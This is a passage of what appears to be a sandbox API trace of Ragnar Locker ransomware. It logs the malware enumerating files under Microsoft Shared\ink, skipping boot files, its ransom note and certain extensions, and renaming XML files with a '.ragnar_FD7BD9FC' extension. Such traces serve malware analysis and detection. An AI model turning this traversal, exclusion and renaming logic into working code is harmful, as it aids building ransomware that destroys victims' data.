lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63de1b63, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x63de1b63, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a991650, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1 [0058.813] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.813] lstrcpyW (in: lpString1=0x1eb62e, lpString2="IpsPlugin.dll" | out: lpString1="IpsPlugin.dll") returned="IpsPlugin.dll" [0058.814] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll") returned=".dll" [0058.814] lstrcmpiW (lpString1="IpsPlugin.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.814] lstrcmpiW (lpString1="IpsPlugin.dll", lpString2="autorun.inf") returned 1 [0058.814] lstrcmpiW (lpString1="IpsPlugin.dll", lpString2="boot.ini") returned 1 [0058.814] lstrcmpiW (lpString1="IpsPlugin.dll", lpString2="bootfont.bin") returned 1 [0058.814] lstrcmpiW (lpString1="IpsPlugin.dll", lpString2="bootsect.bak") returned 1 [0058.814] lstrcmpiW (lpString1="IpsPlugin.dll", lpString2="bootmgr") returned 1 [0058.814] lstrcmpiW (lpString1="IpsPlugin.dll", lpString2="bootmgr.efi") returned 1 [0058.814] lstrcmpiW (lpString1="IpsPlugin.dll", lpString2="bootmgfw.efi") returned 1 [0058.814] lstrcmpiW (lpString1="IpsPlugin.dll", lpString2="desktop.ini") returned 1 [0058.814] lstrcmpiW (lpString1="IpsPlugin.dll", lpString2="iconcache.db") returned 1 [0058.814] lstrcmpiW (lpString1="IpsPlugin.dll", lpString2="ntldr") returned -1 [0058.814] lstrcmpiW (lpString1="IpsPlugin.dll", lpString2="ntuser.dat") returned -1 [0058.814] lstrcmpiW (lpString1="IpsPlugin.dll", lpString2="ntuser.dat.log") returned -1 [0058.814] lstrcmpiW (lpString1="IpsPlugin.dll", lpString2="ntuser.ini") returned -1 [0058.814] lstrcmpiW (lpString1="IpsPlugin.dll", lpString2="thumbs.db") returned -1 [0058.814] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0058.814] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0058.814] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0058.814] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptb.xml", cAlternateFileName="")) returned 1 [0058.814] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.814] lstrcpyW (in: lpString1=0x1eb62e, lpString2="ipsptb.xml" | out: lpString1="ipsptb.xml") returned="ipsptb.xml" [0058.814] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned=".xml" [0058.814] lstrcmpiW (lpString1="ipsptb.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.814] lstrcmpiW (lpString1="ipsptb.xml", lpString2="autorun.inf") returned 1 [0058.814] lstrcmpiW (lpString1="ipsptb.xml", lpString2="boot.ini") returned 1 [0058.815] lstrcmpiW (lpString1="ipsptb.xml", lpString2="bootfont.bin") returned 1 [0058.815] lstrcmpiW (lpString1="ipsptb.xml", lpString2="bootsect.bak") returned 1 [0058.815] lstrcmpiW (lpString1="ipsptb.xml", lpString2="bootmgr") returned 1 [0058.815] lstrcmpiW (lpString1="ipsptb.xml", lpString2="bootmgr.efi") returned 1 [0058.815] lstrcmpiW (lpString1="ipsptb.xml", lpString2="bootmgfw.efi") returned 1 [0058.815] lstrcmpiW (lpString1="ipsptb.xml", lpString2="desktop.ini") returned 1 [0058.815] lstrcmpiW (lpString1="ipsptb.xml", lpString2="iconcache.db") returned 1 [0058.815] lstrcmpiW (lpString1="ipsptb.xml", lpString2="ntldr") returned -1 [0058.815] lstrcmpiW (lpString1="ipsptb.xml", lpString2="ntuser.dat") returned -1 [0058.815] lstrcmpiW (lpString1="ipsptb.xml", lpString2="ntuser.dat.log") returned -1 [0058.815] lstrcmpiW (lpString1="ipsptb.xml", lpString2="ntuser.ini") returned -1 [0058.815] lstrcmpiW (lpString1="ipsptb.xml", lpString2="thumbs.db") returned -1 [0058.815] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0058.815] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0058.815] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0058.815] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0058.815] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0058.815] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0058.815] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0058.815] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml")) returned 0x20 [0058.815] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.815] CloseHandle (hObject=0xffffffff) returned 0 [0058.815] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" [0058.816] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml.ragnar_FD7BD9FC" [0058.816] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.816] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1 [0058.816] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.816] lstrcpyW (in: lpString1=0x1eb62e, lpString2="ipsptg.xml" | out: lpString1="ipsptg.xml") returned="ipsptg.xml" [0058.816] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned=".xml" [0058.816] lstrcmpiW (lpString1="ipsptg.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.816] lstrcmpiW (lpString1="ipsptg.xml", lpString2="autorun.inf") returned 1 [0058.816] lstrcmpiW (lpString1="ipsptg.xml", lpString2="boot.ini") returned 1 [0058.816] lstrcmpiW (lpString1="ipsptg.xml", lpString2="bootfont.bin") returned 1 [0058.816] lstrcmpiW (lpString1="ipsptg.xml", lpString2="bootsect.bak") returned 1 [0058.816] lstrcmpiW (lpString1="ipsptg.xml", lpString2="bootmgr") returned 1 [0058.816] lstrcmpiW (lpString1="ipsptg.xml", lpString2="bootmgr.efi") returned 1 [0058.816] lstrcmpiW (lpString1="ipsptg.xml", lpString2="bootmgfw.efi") returned 1 [0058.816] lstrcmpiW (lpString1="ipsptg.xml", lpString2="desktop.ini") returned 1 [0058.816] lstrcmpiW (lpString1="ipsptg.xml", lpString2="iconcache.db") returned 1 [0058.816] lstrcmpiW (lpString1="ipsptg.xml", lpString2="ntldr") returned -1 [0058.816] lstrcmpiW (lpString1="ipsptg.xml", lpString2="ntuser.dat") returned -1 [0058.816] lstrcmpiW (lpString1="ipsptg.xml", lpString2="ntuser.dat.log") returned -1 [0058.816] lstrcmpiW (lpString1="ipsptg.xml", lpString2="ntuser.ini") returned -1 [0058.816] lstrcmpiW (lpString1="ipsptg.xml", lpString2="thumbs.db") returned -1 [0058.816] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0058.816] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0058.816] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0058.816] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0058.816] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0058.816] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0058.816] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0058.816] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml")) returned 0x20 [0058.817] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.817] CloseHandle (hObject=0xffffffff) returned 0 [0058.817] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" [0058.817] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml.ragnar_FD7BD9FC" [0058.817] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.817] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1 [0058.817] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.817] lstrcpyW (in: lpString1=0x1eb62e, lpString2="ipsrom.xml" | out: lpString1="ipsrom.xml") returned="ipsrom.xml" [0058.817] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned=".xml" [0058.817] lstrcmpiW (lpString1="ipsrom.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.817] lstrcmpiW (lpString1="ipsrom.xml", lpString2="autorun.inf") returned 1 [0058.817] lstrcmpiW (lpString1="ipsrom.xml", lpString2="boot.ini") returned 1 [0058.817] lstrcmpiW (lpString1="ipsrom.xml", lpString2="bootfont.bin") returned 1 [0058.817] lstrcmpiW (lpString1="ipsrom.xml", lpString2="bootsect.bak") returned 1 [0058.817] lstrcmpiW (lpString1="ipsrom.xml", lpString2="bootmgr") returned 1 [0058.817] lstrcmpiW (lpString1="ipsrom.xml", lpString2="bootmgr.efi") returned 1 [0058.817] lstrcmpiW (lpString1="ipsrom.xml", lpString2="bootmgfw.efi") returned 1 [0058.817] lstrcmpiW (lpString1="ipsrom.xml", lpString2="desktop.ini") returned 1 [0058.817] lstrcmpiW (lpString1="ipsrom.xml", lpString2="iconcache.db") returned 1 [0058.817] lstrcmpiW (lpString1="ipsrom.xml", lpString2="ntldr") returned -1 [0058.817] lstrcmpiW (lpString1="ipsrom.xml", lpString2="ntuser.dat") returned -1 [0058.817] lstrcmpiW (lpString1="ipsrom.xml", lpString2="ntuser.dat.log") returned -1 [0058.818] lstrcmpiW (lpString1="ipsrom.xml", lpString2="ntuser.ini") returned -1 [0058.818] lstrcmpiW (lpString1="ipsrom.xml", lpString2="thumbs.db") returned -1 [0058.818] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0058.818] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0058.818] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0058.818] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0058.818] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0058.818] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0058.818] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0058.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml")) returned 0x20 [0058.818] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.820] CloseHandle (hObject=0xffffffff) returned 0 [0058.820] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" [0058.820] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml.ragnar_FD7BD9FC" [0058.820] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.820] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1 [0058.820] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.820] lstrcpyW (in: lpString1=0x1eb62e, lpString2="ipsrus.xml" | out: lpString1="ipsrus.xml") returned="ipsrus.xml" [0058.820] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned=".xml" [0058.820] lstrcmpiW (lpString1="ipsrus.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.820] lstrcmpiW (lpString1="ipsrus.xml", lpString2="autorun.inf") returned 1 [0058.820] lstrcmpiW (lpString1="ipsrus.xml", lpString2="boot.ini") returned 1 [0058.820] lstrcmpiW (lpString1="ipsrus.xml", lpString2="bootfont.bin") returned 1 [0058.820] lstrcmpiW (lpString1="ipsrus.xml", lpString2="bootsect.bak") returned 1 [0058.820] lstrcmpiW (lpString1="ipsrus.xml", lpString2="bootmgr") returned 1 [0058.820] lstrcmpiW (lpString1="ipsrus.xml", lpString2="bootmgr.efi") returned 1 [0058.820] lstrcmpiW (lpString1="ipsrus.xml", lpString2="bootmgfw.efi") returned 1 [0058.820] lstrcmpiW (lpString1="ipsrus.xml", lpString2="desktop.ini") returned 1 [0058.820] lstrcmpiW (lpString1="ipsrus.xml", lpString2="iconcache.db") returned 1 [0058.820] lstrcmpiW (lpString1="ipsrus.xml", lpString2="ntldr") returned -1 [0058.820] lstrcmpiW (lpString1="ipsrus.xml", lpString2="ntuser.dat") returned -1 [0058.820] lstrcmpiW (lpString1="ipsrus.xml", lpString2="ntuser.dat.log") returned -1 [0058.820] lstrcmpiW (lpString1="ipsrus.xml", lpString2="ntuser.ini") returned -1 [0058.820] lstrcmpiW (lpString1="ipsrus.xml", lpString2="thumbs.db") returned -1 [0058.820] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0058.821] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0058.821] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0058.821] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0058.821] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0058.821] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0058.821] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0058.821] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml")) returned 0x20 [0058.823] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.823] CloseHandle (hObject=0xffffffff) returned 0 [0058.823] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" [0058.823] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml.ragnar_FD7BD9FC" [0058.823] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.823] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1 [0058.823] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.823] lstrcpyW (in: lpString1=0x1eb62e, lpString2="ipssrb.xml" | out: lpString1="ipssrb.xml") returned="ipssrb.xml" [0058.824] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned=".xml" [0058.824] lstrcmpiW (lpString1="ipssrb.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.824] lstrcmpiW (lpString1="ipssrb.xml", lpString2="autorun.inf") returned 1 [0058.824] lstrcmpiW (lpString1="ipssrb.xml", lpString2="boot.ini") returned 1 [0058.824] lstrcmpiW (lpString1="ipssrb.xml", lpString2="bootfont.bin") returned 1 [0058.824] lstrcmpiW (lpString1="ipssrb.xml", lpString2="bootsect.bak") returned 1 [0058.824] lstrcmpiW (lpString1="ipssrb.xml", lpString2="bootmgr") returned 1 [0058.824] lstrcmpiW (lpString1="ipssrb.xml", lpString2="bootmgr.efi") returned 1 [0058.824] lstrcmpiW (lpString1="ipssrb.xml", lpString2="bootmgfw.efi") returned 1 [0058.824] lstrcmpiW (lpString1="ipssrb.xml", lpString2="desktop.ini") returned 1 [0058.824] lstrcmpiW (lpString1="ipssrb.xml", lpString2="iconcache.db") returned 1 [0058.824] lstrcmpiW (lpString1="ipssrb.xml", lpString2="ntldr") returned -1 [0058.824] lstrcmpiW (lpString1="ipssrb.xml", lpString2="ntuser.dat") returned -1 [0058.824] lstrcmpiW (lpString1="ipssrb.xml", lpString2="ntuser.dat.log") returned -1 [0058.824] lstrcmpiW (lpString1="ipssrb.xml", lpString2="ntuser.ini") returned -1 [0058.824] lstrcmpiW (lpString1="ipssrb.xml", lpString2="thumbs.db") returned -1 [0058.824] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0058.824] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0058.824] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0058.824] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0058.824] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0058.824] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0058.824] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0058.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml")) returned 0x20 [0058.824] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.825] CloseHandle (hObject=0xffffffff) returned 0 [0058.825] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" [0058.825] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml.ragnar_FD7BD9FC" [0058.825] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.825] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27dc6b13, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27dc6b13, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1 [0058.825] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: 